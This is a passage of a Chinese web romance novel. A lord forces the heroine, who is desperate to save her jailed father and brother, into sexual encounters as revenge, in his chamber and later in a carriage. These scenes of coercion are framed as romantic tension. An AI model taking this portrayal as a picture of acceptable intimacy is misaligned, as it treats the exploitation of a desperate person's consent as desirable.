《被太子始乱终弃后》
1. 雨夜
八月时节。
接连闷了几日,随着一道白光劈过,夜里终于落了场大雨。
素来清净的东宫雨声淅沥,却遮掩不了阵阵喧嚣。
萧苓提裙沿着曲折长廊匆匆而过,不顾身后宦官的阻拦,直往朝一条青石小径奔去。
“萧姑娘,并非奴才不通禀,殿下正在宴请贵客,实在是打搅不得!”
她停下脚步,那宦官借着檐下惨淡的宫灯,只见她一身单薄纱裙被雨全部浇透,洇湿的鬓发胡乱散在脸颊两侧。
实在是可怜至极。
也难怪,前几日镇国侯萧净与长子萧负雪率军大败北戎,在班师回朝的途中被人参了一本,有勾结敌军之嫌,圣上大怒,兵马还未到京城就入了诏狱。
诏狱是什么地方?
再是铁打的人听了也得咬牙。
放眼朝中,现在的侯府,人人避之唯恐不及。
能求到东宫,看来是真的没有法子了。
“还求公公通禀,就说是臣女求见。”
萧苓怕他不肯,手里举着一块白玉夔龙佩,正是太子贴身之物。
冰冷雨水顺着她的脸颊滑落,樱唇被冻的发白。
那宦官面露难色,“这……”
太子早就给他们下过禁令,近日多事之秋,闲杂人等一概不见,尤其是镇国侯府的人。
萧苓看出他的为难,知晓是不肯放人,提起裙就往那条路小跑几步。
事不宜迟,她不敢耽搁太久。
多捱一刻,父亲和兄长怕是不好过。
“萧姑娘,殿下他……”
宦官有些急,顾不得雨浇在身上,忙招呼着人去追。
“快去追,她跑不远!”
一阵急切的脚步声在身后响起,她不敢回头,只顾向前奔去。
心里忽然燃起隐秘的希望——只要再快些,就能见到太子。
太子是她未婚夫婿,看在这个情面上,一定可以救侯府。
青石路尽头就是太子所居的西苑,以往太子带她来过两回,萧苓记性极好,即使夜雨朦胧,也能记住大概。
长廊悬着的宫灯盈盈散发着柔光,横梁上挂着风铃,此时正伶仃作响。
她看到那光亮,拾阶而上,或许是老天怜悯,终于让她看到了立在廊下的颀长身影。
是太子容钦南。
身旁还站着身着月白色华服的女子,两人靠的很近,隔着茫茫雨雾,似乎能听见低语声。
萧苓紧紧握着冰冷的玉佩,就在重新燃起的希望快要湮灭时,她才想起了要往前走一步。
可下一瞬,容钦南直接长臂一伸将那女子揽在怀里,温声细语,为她紧了紧身上披着的锦袍。
萧苓身形狠狠一颤,随后不作停留迅速转身离去。
身后风铃依旧作响,或许还夹杂着情人间的呢喃,全部化作无情的雨往她身上砸去。
——
“快点,动作都麻利点!”
萧苓听着不远处搜寻的声音,不敢有丝毫喘息。
此时黑云沉沉遮住了不甚明亮的月光,将青石板上坑洼的水凼照得如面破碎的镜。
她疾步踩在上面,湿透的衣裳紧紧贴着身体,风一吹凉意浸透骨髓。
等绕过层层树影,把追她的侍卫都甩在了身后,萧苓才悄悄松了口气。
但是一停下来,有一股莫大的痛楚从心底蔓延到四肢百骸。
那个与容钦南相拥的女子,她认得。
是她的庶妹,萧柔。
那件月白色衣裳很眼熟,正是萧负雪托京城最好的绣娘给她做的,却被祖母转手送给了萧柔。
“什么人配什么衣裳。”
祖母说的没错,最好的衣裳是萧柔的,就连与她有婚约的太子也快是她的了。
瓢泼大雨从天而降,如此密集,压得她快喘不过气来。
“叮——”
一声脆响,手中的玉佩毫无察觉掉在地上。
在空荡的行道中是如此清晰。
“快!人在这里,别让她跑了!”
声音愈来愈近,萧苓心跳如鼓,看着眼前一条陌生的岔道,对面殿宇灯火通明,映出两分温暖的气息。
她咬咬牙,终究还是奔了过去。
被人追赶着的滋味并不好受,但是父兄还被关在诏狱里,她不能离开东宫,这里是她最后的希望。
这是条鲜少有人走过的小径,长满了潮湿的青苔,萧苓好几次险些滑倒。
此处静谧,除了淅沥雨声,便是她细碎的脚步声。
然,有处地方太过湿滑,萧苓毫无防备摔在了湿淋淋的地上。
痛,太痛了。
她小心抬起手腕,上面沾着粗粝的砂石,几缕血丝从手心沁出,又很快被雨水冲干净。
她被摔狠了,不论是手腕,还是膝盖,试了好几次还是使不上劲,酸楚顿时涌上心头,泪珠在眼眶之中打转。
“轰隆——”
一道电光甩落,将她苍白的面容照的更白了几分。
与此同时,随着电光而来的,还有渐渐朝她逼近的脚步声。
那步履极轻,从萧苓正前方传来,但落在她耳中,有如千钧重。
此时避无可避,她喉咙发紧,手紧紧攥住袖缘,大气也不敢出。
少顷,一双黑靴与白氅下摆映入她的眼帘。
这不是东宫侍卫的装束。
萧苓不知不觉中放松了紧攥的手指,目光继续往上探去。
只是每再向上一分,她的心都往下坠一寸。
直至最后与他四目相对,萧苓只觉如坠冰窟。
竟然是他。
隔着茫茫雨雾,一道清寒身影站在她的面前。他的眼底蕴了一层霜寒,但唇角似笑非笑,居高临下对她一瞥,便将她打量了个彻底。
他撑着把玄色骨伞朝她逼近,雨沿着伞面淅沥落下,将他与雨幕隔绝开来。
她单薄的身体抑制不住发抖,浅色纱裙紧贴着腰肢,眼眶中蓄着的不知是泪水还是雨水,嘴唇被冻的打颤,此时跌坐在地上如一枝被雨打折的蔷薇。
萧苓此时只能听到一个声音在脑海中叫嚣:
是他……他回来了!
——
“别来无恙,萧姑娘。”
他撑着伞,与她半步之遥。
此时又甩过一道雷,将他的神情衬得愈发漠然。
他仿佛只是在与她寒暄。
“赵……赵景之……”
萧苓要紧紧咬住唇才不至于声音发颤,雨水砸在脸上又顺着眉骨滑落,遮挡住了她望向他的视线。
这个名字她刻意遗忘了三年,而今再说出口,十分生涩。
她死死掐住手心,不让自己恍惚。
而下一瞬的声音划破了两人的沉寂。
是侍卫的搜查声。
萧苓的脸瞬间变得煞白,电光火石间环顾四周,此处偏僻,杂树丛生,只要她随意寻一处躲藏,侍卫是不会找到她的。
但——
她抬起湿漉漉的眼看着赵景之,手指紧攥至泛白。
他眼底不知不觉多了抹玩味的笑意。
“三年了,萧姑娘还学不会求人?”
萧苓看懂了他的讥讽,也明白他为何会如此说,但眼下情况危急,听着声音愈来愈近,她调整身姿,双膝触地,浅白色裙摆逶迤及地。
她仰着脸,雨珠顺着发丝滑落至纤细的脖颈,看样子楚楚可怜。
“求你……”
赵景之低眉,看着她颤颤巍巍伸出素白的手,先是试探,随即像是下定了某种决心,将他的衣摆攥在了手心里。
他的眼底不觉多了些意味不明的情
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绪。
下一秒,萧苓便听到他淡哂一声。
而此时侍卫的声音已经传了过来,她来不及多想便躲在了身旁的矮树后。
一行人很快找到这里。
“敢问世子爷,可见到了……可疑女子?”
领头的侍卫见到赵景之在此,恭恭敬敬行礼。
赵景之乃定国公世子,在三年前离京平定南疆,此番归京述职,圣上很是赞赏,晚间又被太子请进东宫设宴招待,因落了场雨不便回府,此处便是他暂居之地。
此人轻易得罪不得,但又不能不秉公办事,领头侍卫陷入两难。
“可疑……女子?”
萧苓的心此时被紧紧揪起,她双手抱膝,尽可能将自己蜷成一团。
随后便听到赵景之淡声道:
“见到了。”
冰冷的三个字,让萧苓未落的心又悬了起来,指甲狠狠掐住了手心。
“但不是女子,是只不听话的野猫,弄脏了本世子的衣裳。”
野猫?
那侍卫顺着赵景之的话,看到那白氅下摆果然有些水渍。
与那纤尘不染的白,格格不入。
赵景之向来不爱管这些闲事,想是不会诓人。
侍卫感到歉意,连连行礼,刚要率人离开时,余光却瞥到树后一点白色,刚要探头细看时,却听赵景之冷笑:
“统领要查就过来查罢。”
萧苓听到此话,死死捂住口鼻,大气也不敢出。
凉飕飕的风直往她的肺腑钻。
“卑职不敢,既然是只野猫,打发了就是,卑职告退。”
“嗯。”
赵景之凤目凌厉,让人不敢亲近。
带头侍卫不敢再耽搁,对着身后的一队人道:“走!”
等人都走后,周遭只剩下淅沥雨声。
萧苓在雨里淋的久了,脑子愈发混沌,但手腕传来的刺痛还让她保持着几分清醒。
她环顾四周,看来暂时是安全了。
只是刚要起身,却发现身子酸疼的不成样子,使不上半点力气。
此时耳际传来冰冷的嗓音,让她后颈凉意迭起。
“怎么?帮了这么大一个忙,萧姑娘不会说谢谢么?”
赵景之往树后走了两步,遮住了萧苓面前惨淡的月光,投下的阴影将她的身躯全部覆盖住。
她单薄的双肩微微打颤,悄悄往后挪动着,却抵在了树背上。
“谢谢。”
“萧姑娘的这句谢谢,还不够有诚意。”
诚意?
她脸色煞白,脑海中不禁闪过往日片段,心口酸涩的厉害。
风水轮流转,赵景之如今高高在上,而她只不过丧家之犬。
父兄还在诏狱关押着,侯府岌岌可危,就如一块烫手山芋,何况太子如今与萧柔在一起,只会明哲保身更不会帮她,她现在唯一的机会便只剩下赵景之。
可是……
萧苓忽然浑身一颤,她的脑海里只剩下那年一地的血与赵景之悲痛欲绝的表情。
与眼前的他渐渐重合。
不知他愿不愿救侯府——
萧苓将食指伸到唇边,咬了下去。
登时血珠涌了出来,她轻抚在苍白的唇上,宛若上好的胭脂。
赵景之依旧冰冷的注视着她,看着她的唇被血染的嫣红,眼底蓦地暗流涌动。
她神色戚戚,言辞凄切。
“求求世子,救我父兄。”
“砰——”
伞骨碌滚落在地。
雨水顷刻间将他淋了个彻底,显得眉眼愈发冷峻。
他看着她眸光潋滟,像是蓄了一层月影,不禁上前一步。
隔着茫茫雨雾,他俯下身,托起她的下颌。
“求?萧姑娘打算如何求?”
2. 折腰
萧苓闻言,一双湿漉漉的眼望着他。
带着娇怯、还有两分脆弱。
让人平白无故从心底生出一股燥意。
赵景之自然没有错过她眼神的变化,但眼底还是一如既往的霜寒。
被他挟持着,萧苓注视着他的脸,与三年前没什么变化,但那双眼却如一团化不开的黑夜。
须臾间足以将她吞噬。
眼前的赵景之太让人陌生。
许是被他注视着有些难堪,她不得已偏转了目光。
手指正隐隐发颤。
可赵景之顺着萧苓的目光望去,那正是他的寝殿。
在冰冷的雨中透着朦胧暖意。
倏忽冷笑出声,“萧姑娘打算这么求?”
萧苓面色发白,尽管想起她此行目的,但心里还是像被针扎了似的疼。
赵景之见她沉默,手了放下去。
“我不喜欢勉强。”
可下一秒衣摆又被她攥住,一字一顿,“你真的会帮我么?”
她目光如水,唇边未干的血迹更添几分姝色。
眉眼间的娇柔简直能掐出水。
赵景之望着她,二人目光相对那一刻,萧苓看懂了,他看她如看误闯陷阱的猎物。
“萧姑娘可以试试。”
——
萧苓被打横抱起,外面风雨随着殿门被关上而隔绝,赵景之快走几步,径直绕过雕花屏风,将她放在了榻上。
重重帷帐随即落了下来,将刺目烛光变得柔和,萧苓强撑着理智,可单薄的肩膀止不住发颤。
赵景之浑身湿透,立在榻前,正慢条斯理解开腰间的衣带,袖缘的水滴滴落下,正好坠落在她的脖颈。
她不由得抖了一下。
他随手将衣裳扯去,露出精壮的胸膛,看着萧苓紧紧闭着眼,不由得轻笑。
“不想救人了?”
她睁开眼,可泪水止不住的涌出,最后落至发缝。
赵景之直接俯下身,此时一股清冽的松香充斥着她的鼻腔,这是他身上的味道。
二人之间距离愈发近,直至——
骨节分明的手直接托起她的下颌,继而慢条斯理的摩挲着那滑腻的肌肤。
“啪嗒——”
忽然感到手背上热意灼人,正是一滴坠落的眼泪。
他对她的眼泪置若罔闻,只问道:
“他也这般对过你么?”
被突然一问,她头皮有些发麻。
“那看来是没有了,那……这里呢?”
修长指节寸寸往下滑落,顺着细长的脖颈直至锁骨处停下。
被雨水淋湿的薄纱勾勒之处在他眼中一览无余。
大手直接握着她的腰,此时二人之间再无距离,彼此呼吸交错,清晰可闻。
寒意登时如潮,萧苓望着赵景之眼底不见底的冷意,脑海里只浮现了两个字。
报复。
他这是在报复。
“他可曾这般吻过你?”
随着这句话落下,萧苓像是意识到什么,拼命挣扎起来。
“不要,不要。”
但她又怎能挣开他的禁锢。
赵景之欺身而上,径直咬上了那温润樱唇。
带着滔天的恨意与侵略。
“疼就叫出来,别忍着。”
——
战栗随着支摘窗外的风雨一同向她袭来,迷蒙中阖上了双眼。
随着布料滑落,凝脂肌肤染上一层淡淡光晕,好似一块温润的白玉。
他敛目注视着。
脖颈处忽然传来刺痛,萧苓被扯回思绪,半阖着的双眼只能看到随风而动的帷幔,以及赵景之映在烛光下的身影。
她的指尖紧紧掐着手心,下一秒却被他一根根掰开,猛地举至头顶。
“看着我。”
他要让她看着他是如何攻城掠地。
冰冷的三个字一霎时将萧苓所有委屈、悔恨全部激发,她泪眼婆娑,想转过头,却被他强硬掰回只能注视着他。
他的眼底没有半点情|欲,反而一片清明,涌动着让人看不懂的情绪。
“怎么装不下去了?”
他压低身子,在她耳边低声道:“别忘了,当年……”
他没有继续说下去,但萧苓还是浑身一凛,眼泪控制不住往下落。
窗外又闪过一道雷,将殿内烛光吹的摇摇晃晃,恰如她细碎的喘息。
赵景之撑起身子,注视着她未着寸缕的风光,轻笑出声:
“太子年初便已及冠,若不是北境战事耽搁,想来你们就快成婚了罢?”
他的目光直白而赤|裸,而萧苓的手被他紧紧钳制住,根本寻不到半点可以遮挡的地方。
此时境况,她根本无暇顾及容钦南,只顾摇头。
从唇齿间溢出两分呜咽,似是哀求。
赵景之忽然松开她的手,没有了桎梏,萧苓将双臂掩在胸前,又小心翼翼扯过一旁的被子。
似乎想到了什么,动作迟滞了一瞬,手又缩了回来。
“你……”
他直起身,随手捞过地上的衣裳。
借着朦胧的光,萧苓这才看见有一道骇人的疤从他的肩胛骨贯穿到腰间。
再细看去,大大小小的伤疤横纵交错。
如此狰狞,难以想象受伤时流了多少血。
随着他慢条斯理穿着衣裳,那股子窒息的压迫感也渐渐消失。
但萧苓愈发忐忑不安,脊背涌上寒意,他这是放过她了么?
方才赵景之并没有对她怎么样,难道他改变主意了?
此时殿外传来的叩门声打断了她的思绪。
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“回禀世子,方才殿下派人传话邀您去西苑。”
“知道了。”
赵景之最后抚了抚袖口的皱褶,轻抬眼皮瞥着床榻上的萧苓,语气一如既往的低沉。
“想知道他会找我说什么?”
萧苓似是燃起最后的希望,她咬着唇,艰难道:
“还请世子救救我父兄。”
支摘窗外风雨渐歇,只能听到积雨从屋檐淌下的淅沥声。
他骨节分明的手顿了顿,随后喑哑着嗓音。
“萧苓,你怎么如此天真?”
看着他笑的愈来愈讥讽,她心头一颤,就连指尖也抖起来。
眼里划过不可思议,让她取悦他,而他只是在戏弄她?
赵景之将她惊愕神情尽收眼底,收敛了笑意。
“你就那么喜欢……他?”
最后一个字被他拖长尾音,掺了半点玩味。
而萧苓此时陷入一张满是屈辱的网中,听不到任何声音。
也因此错过了他满是阴鸷的目光。
随着渐行渐远的脚步声,她微微抬头看着帷幔轻晃,扯过被子团起身,泪水如线似的往下落。
她知道,赵景之恨她。
三年前就该知道。
——
幼时的她没有玩伴,手边只有老嬷嬷私下里给她做的针织兔子,终日游走在祠堂里,只有比她大三岁的萧负雪愿意带着她。
而萧负雪因有镇国侯的一层关系在,与定国公府的赵景之意气相投,一来二去,萧苓便与赵景之相识。
每逢二人出游,她便在后面跟着。
本以为日子就这么过去,谁知一道圣旨将她与太子凑在一起。
她还记得那夜宴席散后,赵景之的母亲定国公夫人也在场,还从腕上取下了一只白玉镯给她。
“这是天大的喜事,你自幼没了母亲,这是我的心意。”
萧苓受宠若惊,悄悄瞥了眼一旁的赵景之,他神色极淡,只顾饮着一盏冷酒。
定国公夫人很是和蔼,又是对她好一顿叮嘱。
可每每回想起那夜,萧苓都万般悔恨。
宴会混乱,所有人都当那只是场意外,没有人怪罪她。
太子更是极尽温柔,安抚着手脚冰凉的她,称这不是她的错。
但若不是她将那杯被人做了手脚的玫瑰酿递给定国公夫人,赵景之又怎会在翌日披麻戴孝,请旨去了南疆?
赵景之一走,便再无消息。
三年来,只有每逢年节赴宫宴才能听到有关他的只言片语。
平战乱,开疆土,年纪轻轻便手握南疆兵权,人人都道这位定国公世子前途不可估量。
可是没有人知道,那夜赵景之眼眶发红,清泪划过眼底,带着寒意,对着她一字一句道,
“萧苓,是你害了她。”
3. 潮湿
这场雨来的快,去的也快。
西苑烛火通明,等宫人引着赵景之穿过游廊,容钦南早已在殿门口等着了。
“景之,你来了。”
他一见到人,便上前去迎。
“臣拜见殿下。”
“你与孤之间不必繁文缛节。”
容钦南将他扶起,语气爽朗。
二人入了席,推杯换盏一番后,容钦南这才道出此番邀赵景之进宫的真实用意。
言罢,还特意停下看他的反应。
赵景之抿了口已经微冷的黄酒,对于方才的话好似没有太大反应,只是垂下的鸦睫正好遮住愈来愈深的眸光。
“殿下当真要如此做?”
过了许久,容钦南等得失去耐心,他才隐隐带着笑意丢下这么一句。
可眼底无半点笑影。
“是啊,现下有人弹劾萧氏,岂不是个好机会?如今朝堂大半兵权尽归镇国侯府,孤始终夜不能寐,于心不安。”
当年萧氏与赵氏给先帝顺利登基出了不少力,双双封侯。
但与半道出家的赵氏不同,萧氏自祖上出过不少武将,备受倚重,如今萧净与萧负雪更是朝廷中流砥柱。
容钦南是怕功高震主,即使镇国侯府谨小慎微,但今后的事情谁也说不准。
若是有朝一日在北境拥兵自重,朝廷难免不会元气大伤。
这对他来说,是根扎眼的刺。
还不如尽早拔去。
“快别说这个了,如今你已归京,孤的皇妹该高兴的夜不能寐了。”
他所说的皇妹正是一母同胞的岑钰公主。
儿时便喜欢缠着赵景之,走在哪里便跟在哪,后来少女情窦初开,更是痴缠不放。直到三年前他远赴南疆才肯罢休。
赵景之闻言,浮起一抹浅笑,瞥着杯中散发着冷香的酒。
“臣斗胆问殿下一句,事成之后萧氏结局为何?”
容钦南顿了顿,“削爵夺位,归还兵权,孤还没心狠到要让其家破人亡。”
赵景之颔首。
却又听容钦南道,“景之,你该不会心软了罢?”
他淡淡一哂,清冷眉目覆上一层霜寒。
“怎么会?只是替殿下可惜……”
“可惜什么?区区一个萧苓罢了,以后侯府败落,若她识趣,做个姬妾倒也不错,你说呢?”
容钦南话里带了两分讥诮。
赵景之眉头微蹙,再也无言,将杯中酒一饮而尽。
——
翌日清晨,天边燃起一层朝霞。
萧苓睁开眼,这才意识到自己靠着墙壁睡着了,若不是眼前陌生的床榻以及昏沉的身体,她还以为是做了场梦。
她很快反应过来,昨晚赵景之并没有回来。
否则不会如此风平浪静。
她将衣裳匆匆穿好,只是一低头便看到脖颈处几道红印,在洁白肌肤上很是显眼。
萧苓系着纽扣的指尖顿了顿,耳根瞬间红透,即使再不经人事,也知道这意味着什么。
几乎是本能,她将领口往上提了提,遮住了那些暧昧的痕迹。
同时,萧苓心跳如鼓,也不知道赵景之会不会遵守承诺救她父兄。
若是不救,她该如何……
祖母因此事已经卧床不起,府中上下人心惶惶,若事无转机,侯府岂不是从此败落?
容钦南……
她脑海忽然闪过昨夜他与萧柔依偎的场景,心口又是隐隐钝痛。
三年前中秋夜宴,圣上酒酣兴浓,将她指给太子容钦南,约好等太子及冠便成婚。
帝后就容钦南一个皇子,其品行高洁,人也是端方如玉。
她还记得筵席散后,赴宴的人无不对她恭贺,就连平时与她不和的萧柔也笑语盈盈。
所有人都觉得这是一桩好婚事。
容钦南对她好的人尽皆知,就因她夸了句城南桃花颜色好,他便打马越过半个京州去折一束桃花枝相赠。
他与萧柔很显然是在一起很长时间了。
可她竟毫无察觉。
不,或许是有蛛丝马迹,比如萧柔每每赴宴脸色微红,抑或是一月之中总有几日是晚归的。
祖母向来疼她,睁一只眼闭一只眼就过去了。
如今想来,处处都是疑点。
这些只要稍加掩饰就不会如此明显,而萧柔如此坦荡,或许就是等着有朝一日让她亲眼发现罢?
可她像是被束缚在一张用温柔织就的网里。
萧苓忽然闭了闭眼,想将这些纷乱思绪抛之脑后,却听殿门开启,似有脚步声传来。
“萧姑娘可一夜好眠?”
赵景之嗓音沉沉,绕过屏风,低眉看着萧苓从床榻上起身,尽管她垂着头仍能看出脸色不大好。
“世子……”
云鬓微松,身姿瑟瑟。
他在她面前站定,正好有一缕从窗外沁进的霞光照着他的眉稍,像是要将那眼底的冰霜融化。
“萧姑娘要怎么回侯府?外头那帮人可还是在搜查……”
他话止住了半截,但萧苓听的明白,他并不想再留她。
可是父兄……
她抬起头,心间笼起巨大的绝望。
赵景之目光沉沉,视线落在她那被咬破的唇瓣上。
“你是在担忧你的父兄?还是在怨本世子?”
萧苓摇头,她有什么资格怨恨任何人。
就算是容钦南,她也无法怨他背叛了她。
而赵景之,她更怨不得。
下一秒,她的下巴就被他攥起,似乎是想看她是否在扯谎。
可她脸色苍白,眼神里更多的是认命。
“今早圣上传来口谕,由本世子审理此案。”
他的声音淡淡,就像在讲述一个无关紧要的事实。
萧苓抬起微蜷的睫羽,似是不可置信的看着他。
但很快反应过来,赵景之此番回京述职,想来是得了圣上的赞赏,把这样一桩棘手的案件交予他,也是理所应当。
如此说来,此事还有转机。
她目光中有犹疑,更有隐隐的期待。
谁料赵景之突然松开手,后退半步,与她拉开距离。
“一盏茶后,随本世子出宫。”
萧苓讶然,但也想到东宫不宜久留,若是不跟着他走,单凭自己出宫还得费番功夫。
赵景之转身,很快便走出屏风外,她只能看到一角白边。
未等她反应,却听他带着讥诮,轻声道:
“履行你昨夜的承诺。”
——
绿树蓝天,红墙黛瓦。
因昨夜下了场雨,空气仍带着潮润。
马车缓缓驶动在宫道上,就快驶出朱红宫门外。
就在此时,从后方传来清脆的女声。
“景之哥哥!景之哥哥……”
轿夫请示马车内的赵景之是否要停
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下,他唇角扬起若有若无的冷笑,只是“嗯”了一声。
风吹起轿帘一角,借着一缕天光,他看着跪伏在脚旁正隐隐发颤的萧苓,忽然神使鬼差用指尖轻抚那光滑脊背的朱砂痣。
惹得又是一阵轻颤。
帘内很热,加上潮润的空气愈发燥热。
他垂眸看着那因潮热而发红的肌肤,俯下身,薄唇擦过她的耳畔道:
“嘘,你应该不想让人知晓,你现在是在本世子的轿辇罢?”
四周都是巡视的御林军。
这是要挟,也是告诫。
萧苓感受着那股灼热,眼底不知不觉中蓄起细碎的水光。
唇齿中不禁溢出轻吟,但很快便止声。
攥着裙摆的手指用力至泛白。
马车很快便停下,而身后的人也很快追上。
明眸皓齿,眼里眉梢满是天真。
来人正是容钦南的皇妹,岑钰公主。
她昨日便知晓了赵景之回京的消息,只可惜他先是去了父皇的勤政殿,而后又是东宫,她寻不到机会去见他。
好容易等到天明,又听皇兄道赵景之要出宫回府了。
因此她才如此急切,终于赶在出宫前见到他。
“景之哥哥。”
一只骨节分明的手撩开轿帘,露出一张淡漠疏离的脸来。
正是她朝思夜想的熟悉容颜。
“公主,可有要事?”
他的声音稍冷,细细听去似乎还有隐隐的不耐。
萧苓紧紧捂住唇,感受着一阵又一阵如潮般的战栗,又怕被帘外的人听去,只能死死咬着牙。
帘外的岑钰听着如此冷漠的语气,一张小脸涌起委屈神色,但又转念一想,他才从蛮荒之地回京,想来一时还未习惯。
心中的气很快消散大半。
“景之哥哥,有空一定要来绮绣宫看看,宫里新贡了不少稀罕物。”
少女的脸上藏不住事,笑容如春日暖阳。
她看着赵景之的脸,满眼期冀。
却见他毫无情绪的唇角忽然扬起一抹不易察觉的淡笑。
不再尖锐,不再冰冷。
光打在他极俊美的侧脸上,使得那双凤眼愈发深邃。
她顿时雀跃起来,想来这就是应允了罢?
也不等赵景之回答,忙道:
“届时景之哥哥一定要来!”
说罢,便往后走了两步,要登上后面停着的马车。
却听到极轻的一声“唔”。
暧昧、潮湿,似乎夹杂着嘤咛。
湿热的痛楚瞬间游离在萧苓的四肢百骸,随着轿帘垂落,她无力的攀在赵景之的膝头。
极薄的里衣已经被汗浸透,她的身子愈发昏沉,往外渡着热气。
应该是昨夜里淋了雨,烧起来了。
马车又缓缓驶动起来。
车厢内光线昏暗,她迷蒙着一双眼,无暇顾及眼前的荒唐与凌乱,只想沉沉睡过去。
可赵景之并不顾及她的倦意,箍着她的细腰一把坐在了他的膝盖上,另一只手托起她的下颌。
看着她微微失神的双目,细微的颤音,与那红透的唇瓣。
忍不住用手拭去她眼角不自觉溢出的泪水。
低声道:
“侯府之事,本世子会认真考虑。”
他继而俯下身,从绵软的地毯上拾起一张如雪的白帕。
鲜红印记,恰如寒梅绽放。
4. 痕迹
萧苓醒来时正值傍晚,夜幕快将最后一点霞光焚烧殆尽。
她脑子昏沉,浑身滚烫。
只有额头有冰冷的触感,是侍女流云拿了浸水的手巾往她额头上敷。
流云见萧苓醒了,悬起的心终于坠了地。
端起搁置一旁的药碗,“谢天谢地,姑娘终于醒了。”
“这是什么……”
她撑起身子,只觉四肢百骸酸软不已,如被巨石碾过般疼。
流云顺着她的视线望去,圈椅上正是一件叠放好的月白大氅。
“上午在侧门接姑娘时,便在您身上了。”
她一想起去接萧苓的情形时,语气便有些慌乱。
云鬓微松,裙裾凌乱,唇角处更是有一道被咬破的红痕。
饶是再迟钝的人,也知道发生了何事。
萧苓意识回笼,认出了这件眼熟的白氅,不由得回忆起在马车内的情形,脸色倏忽变至煞白,滚烫的身子愈发热了。
没想到,她与赵景之的重逢,是以这种方式收尾的。
“姑娘,昨夜可见到太子殿下了?”
流云以为今日送她回府的是容钦南,看萧苓如此情形,看来殿下真是宅心仁厚,肯伸出援手。
想到此处,不由得唇角微弯。
萧苓闻言一顿,想起昨夜里撞见容钦南与萧柔拥抱的一幕,心里莫名酸涩起来。
“见到了。”
看着流云希冀的目光,她不忍心说出实情。
即使她闹到祖母那边又如何?
眼下郎有情妾有意,有关侯府颜面,祖母只会关上门来斥责萧柔两句。
若是传了出去,反倒说她善妒。
此时门外传来的脚步声打断了主仆俩,只听见外头婆子的叫嚷声:
“大姑娘可起身了?”
来人正是老夫人崔氏身边的江嬷嬷。
萧苓眼下烧的厉害,没有力气,更何况她这副模样不好让人瞧见,只能朝流云使了个眼色。
流云心领神会,走到门外,便与那江嬷嬷寒暄起来。
药味顺着未阖紧的门飘出去,二人间的对话也三三两两传进萧苓耳朵里。
“大姑娘好端端的怎么病了?抄经为侯府祈福怎能懒怠?”
自萧净与萧负雪下狱后,老夫人便让借着萧苓心细让她抄经祈福,每隔三日就派江嬷嬷来取,今日正好便是收取之期。
只是她这两日一直想着如何救人,挤不出时间来抄写。
“好嬷嬷,大姑娘还没有退烧,再宽限两日罢?”
流云自幼被买来服侍萧苓,萧苓在侯府所受的磋磨,她都看在眼里。
要不是原先夫人过世的早,让崔氏侄女当了家,哪里能受一个嬷嬷的气?
“不行,老夫人吩咐过,必须三日一取,大姑娘别让我一个老婆子难做。”
江嬷嬷不依不饶,嘴皮子一边翻着,眼睛直往虚掩的门缝里瞟。
流云忙遮了她的视线,刚想求情,就听到从屋里传出萧苓的声音来。
“今夜子时一定交予嬷嬷手中。”
江嬷嬷听到这话才满意,狠狠瞪了流云一眼。
“那老奴子时再来叨扰大姑娘。”
随着她那臃肿的身影转过墙角,流云才敢阖上门,“姑娘太实诚了些,他们明摆着就是欺负人。”
萧苓像是习惯了,经过方才一遭,后背已经沁出一层冷汗。
抄经不算什么难事,只不过是祖母磋磨她的手段罢了。
从小到大,不都这样过来的么?
只是为何还没有父亲和兄长的消息传来。
这如同头顶上挂着的一把利刃,叫萧苓悬心不安。
——
近日朝中人人都在传颂赵景之在南疆的功绩,而圣上肯将镇国侯府的案子交由赵景之,足以看出对他的器重。
从诏狱到定国公府,一路都是恭维声。
夜色浓重,屋外传来虫鸣聒噪。
支摘窗下涌进的风吹散了些屋里的热气,亦将案几上的烛火吹得摇曳。
赵景之对着面前的卷宗若有所思。
镇国侯府一事本就是个局,刑部再怎么天翻地覆的查,也查不出什么,只能是“清白”二字。
再也翻不出风浪了。
他用指尖细细摩挲着上面的字迹。
微阖双眼,手指缓慢覆在上面。纸张光滑,带着微微凉意,一如那晚她滑腻的肌肤。
惊涛拍岸,浪卷细沙,泛起白色浪花。
冰肌玉肤,在柔和烛光下已是绯红一片,而她那如桃花微露的眼,似是哀求,又似是求饶,盈盈落下泪来。
“啪嗒——”
滴在他的胸膛上,刺痛了那片裸|露的皮肤。
而在马车里,昏暗光线遮住她的容颜,任凭他予取予夺,二人呼吸交错,他将她刻意压制住的喘|息声全部融化在了盈盈春水中。
但这还远远不够……
此时,门忽然被敲响,“世子。”
赵景之睁开眼,敛回思绪,骨节分明的手顿了顿。
“进。”
来人是小厮初杭,手里还握着用红布包裹的物事。
“世子,您吩咐的事情属下已经办妥了,是处二进小院,幽静雅致。”
言罢,便将手中的东西搁在了案几上。
烛火跳跃,映在赵景之脸上晦暗不明。
红布被掀开一角,露出两把钥匙。
折射出带冷冰的光。
“此事办的不错。”
他将卷宗合上,继而起身立在窗前。
“后院那边有什么动静?”
初杭想了想,还是如实答道:“侯爷还是老样子,在后院不愿出门,也不喜欢旁人伺候。”
“随他去。”
此言一出,已是说不出的厌恶。
初杭悄悄抬了眼皮去看赵景之,只见他绯红团花官服还未来得及换下,背影冷的像堵墙。
他不知世子对定国公为何如此态度,自从三年前夫人过世,二人似乎大起争执,关系淡漠到了极点。如今回京,世子更是一次都不曾去后院看过。
但世子的事情,他又岂敢置喙?
正当他垂首静等吩咐时,只听赵景之淡淡一句:
“放出风声,镇国侯府一案有冤情。”
——
等萧苓接到容钦南邀她进东宫的信时,正是三日后正午。
彼时她的病好了大半,正坐在案几旁抄着佛经。
握着笔的手指一顿。
在宣纸上留下道道墨痕。
而她这两日隐隐听到风声,侯府一事另有隐情,因为找不到确凿的证据,圣上久久未能决断。
换言之,侯府尚有一线生机。
不可避免的,再次听到容钦南名讳,她还是晃了神。
太子这个时候寻她,要说的应该就是有关父兄的事情了。
萧苓将所抄的佛经收好,又唤来流云,让她去送给江嬷嬷。
“姑娘,太子送您的那块玉佩呢?”
流云替她将要进宫觐见太子的衣裳搁在案几上,忽然想起那块白玉夔龙佩。
方才她找了许久也不曾见到。
玉佩?
萧苓一怔,她随手探去腰间,却发现空
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无一物。
她的心猛然一颤,整个屋子静的让人心慌。
脑海里忽然闪过那个雨夜,她似乎被侍卫追逐着……
是掉在了东宫的那条小道了么?
那枚玉佩是太子所赠,相当于二人的定亲信物。
要命的是若这么丢了,届时被人捡起,还不知会掀起多大风浪。
她不觉咬了唇,思虑中进宫时辰将近,眼下不该迟疑。
说不定,沿着那条小道能找到。
——
午后的日头依旧毒辣,云浮在空中岿然不动。
